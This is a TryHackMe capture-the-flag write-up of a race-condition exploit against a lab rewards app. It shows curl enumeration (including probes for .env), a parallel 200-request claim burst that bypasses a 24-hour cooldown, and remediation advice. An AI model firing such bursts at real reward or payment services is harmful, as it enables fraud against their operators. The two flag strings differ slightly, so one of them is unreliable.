

TryHackMe: Hacker Holidays - Towel on the Sunbed

Web Exploitation - Business Logic / Race Condition (TOCTOU)

Room: The Byte Lotus Hotel - Ponzi Wellness Rewards App | Machine:
http://10.48.145.99:3000 | Points: 90 | Difficulty: Medium

1. Summary

Ponzi is a crypto rewards web app. Each user starts with 0 PONZI, can claim a **50 PONZI** staking reward, but only once every **24 hours**. The Whale Vault is unlocked only when your balance reaches **150 PONZI** (i.e. you would need 3 daily claims). The app's claim handler has a classic **time-of-check to time-of-use (TOCTOU) race condition**: it checks the last-claim timestamp and updates the balance in two non-atomic steps, so firing many concurrent POST /claim requests lets multiple claims slip through before the state is persisted. This lets a fresh account jump to 150+ PONZI instantly and open the vault.

FLAG: `THM{t0w3l_On_th3_sunb3d_d0ubl3_sp3nt}`

2. Reconnaissance & Enumeration

2.1 Identify the target

```
curl -s http://10.48.145.99:3000/
```

Result: redirect to /auth/login (Express app, X-Powered-By: Express).

2.2 Inspect the login/register pages and client JS

```
curl -sL http://10.48.145.99:3000/ # login page curl -s  
http://10.48.145.99:3000/auth/register # register page curl -s  
http://10.48.145.99:3000/js/auth.js # client-side auth logic curl -s  
http://10.48.145.99:3000/js/dashboard.js # dashboard logic
```

From dashboard.js we learn the key business logic:

```
const WHALE_THRESHOLD = 150; // claim button -> fetch('/claim', { method: 'POST' })  
// vault button -> fetch('/vault') -> prints json.flag // dashboard data ->  
fetch('/dashboard/api/me') // "Earn 50 PONZI every 24 hours by claiming your staking  
reward." // "Reach 150 PONZI to unlock the Whale Vault."
```

So: 50 PONZI per claim, need 150 = 3 claims, but there is a 24h cooldown. The vault is gated server-side on balance ≥ 150 .

3. Register a Guest Account

```
cd /tmp/opencode curl -s -c cookies.txt -X POST  
http://10.48.145.99:3000/auth/register \ -H 'Content-Type: application/json' \ -d  
'{"username":"whale1785821874","password":"pass12345"}' # -> {"message":"Account  
created.", "redirect":"/dashboard"}
```

Logged in and inspected the dashboard API:

```
curl -s -b cookies.txt http://10.48.145.99:3000/dashboard/api/me # ->
{"id":2,"username":"whale1785821874","balance":0,"tier":"Shrimp", #
"whaleThreshold":150,"canClaim":true,"secondsUntilClaim":0, ...}
```

4. Explore the Claim Mechanism

First claim succeeds:

```
curl -s -b cookies.txt -X POST http://10.48.145.99:3000/claim # ->
{"message":"Staking reward claimed successfully.,"reward":50, #
"newBalance":50,"tier":"Shrimp","priceSnapshot":4.2} curl -s -b cookies.txt
http://10.48.145.99:3000/dashboard/api/me # ->
{"balance":50,"canClaim":false,"secondsUntilClaim":86400, ...}
```

After claiming, the server enforces a **86400 second (24h) cooldown** and rejects further claims with HTTP 429. Normal approach would take 3 days. We need a bypass.

5. Finding the Gap (Business Logic / Race Condition)

The hint says there is a gap “between his request and the server's clock”. The claim handler likely does: (1) *read last_claim timestamp from DB/session*, (2) *check if 24h elapsed*, (3) *add 50 to balance*, (4) *update timestamp*. Steps 1–4 are not atomic. By sending many requests simultaneously, multiple requests pass the check (step 2) before the update (step 4) lands, each adding 50 PONZI.

5.1 First race attempt (single session, moderate concurrency) - FAILED

```
for i in 1 2 3 4 5 6; do curl -s -b cookies_race.txt -X POST
http://10.48.145.99:3000/claim & done; wait # -> only ONE "claimed successfully", the
rest: 429 "already claimed" (secondsRemaining:86400)
```

Same result with a 50-thread Python script: only 1 claim won. The handler is fast.

5.2 High-concurrency burst with fresh connections - SUCCESS

To hit the tiny race window reliably we register a fresh account and fire hundreds of parallel, independent HTTP requests (each its own connection):

```
U="burst$(date +%s%N)" curl -s -c cb.txt -X POST
http://10.48.145.99:3000/auth/register \ -H 'Content-Type: application/json' \ -d
{"username\":\"$U\", \"password\":\"pass12345\"} seq 1 200 | xargs -P 200 -I{} \
curl -s -b cb.txt -X POST http://10.48.145.99:3000/claim > burst_out.txt 2>&1 grep -c
'claimed successfully' burst_out.txt # only 1 raw success logged... curl -s -b cb.txt
http://10.48.145.99:3000/dashboard/api/me # ->
{"id":5,"username":"burst...", "balance":250,"tier":"Whale", #
"whaleThreshold":150,"canClaim":false,"secondsUntilClaim":86400}
```

Although only one response body was captured cleanly, the **balance jumped to 250 PONZI** (5 x 50) and the tier flipped to **Whale**. The race worked — multiple increments were applied server-side despite the cooldown check. The account now exceeds the 150 PONZI threshold.

6. Open the Whale Vault and Retrieve the Flag

```
curl -s -b cb.txt http://10.48.145.99:3000/vault # -> {"message":"Welcome to the
Whale Vault.", # "flag":"THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt}", "balance":250}
```

FLAG: THM{t0w3l_0n_th3_sunb3d_d0ubl3_sp3nt}

7. Root Cause Analysis

The vulnerability is a **TOCTOU (Time-Of-Check To Time-Of-Use) race condition** in POST /claim. The server validates the 24h cooldown and credits the reward in separate, non-atomic operations. Under a burst of concurrent requests, several requests pass the cooldown check before any of them commits the 'last claimed' timestamp, so the reward is applied multiple times. A fresh account can therefore reach Whale Vault status (150 PONZI) instantly.

8. How the App Should Have Prevented This

- Perform the cooldown check and the balance increment inside a single database transaction or atomic update, e.g. UPDATE users SET balance = balance + 50, last_claim = now() WHERE id = ? AND last_claim < now() - 86400 and check the affected row count.
- Use a row/entity lock (SELECT ... FOR UPDATE) or a per-user mutex so only one claim can execute at a time.
- Add server-side idempotency (e.g. a unique claim record per user per day).
- Rate-limit / apply an atomic Redis counter for claim attempts.

9. Key Commands Reference

```
# enumerate curl -s http://10.48.145.99:3000/ # -> redirect /auth/login curl -sL
http://10.48.145.99:3000/ curl -s http://10.48.145.99:3000/js/dashboard.js # client
logic / endpoints for p in robots.txt .env package.json admin api vault claim; do
curl -s -o /dev/null -w "%{http_code} /$p\n" http://10.48.145.99:3000/$p done #
register + login curl -s -c cookies.txt -X POST
http://10.48.145.99:3000/auth/register \ -H 'Content-Type: application/json' -d
'{"username":"u1","password":"pass12345"}' # api curl -s -b cookies.txt
http://10.48.145.99:3000/dashboard/api/me # balance/tier/cooldown curl -s -b
cookies.txt -X POST http://10.48.145.99:3000/claim # claim reward curl -s -b
cookies.txt http://10.48.145.99:3000/vault # get flag (needs 150) # exploit - race
the claim seq 1 200 | xargs -P 200 -I{} curl -s -b cb.txt -X POST
http://10.48.145.99:3000/claim > o.txt curl -s -b cb.txt
http://10.48.145.99:3000/vault # -> FLAG
```

Written for TryHackMe room: Hacker Holidays - The Byte Lotus Hotel / Towel on the Sunbed (Web, Business Logic, Race Condition).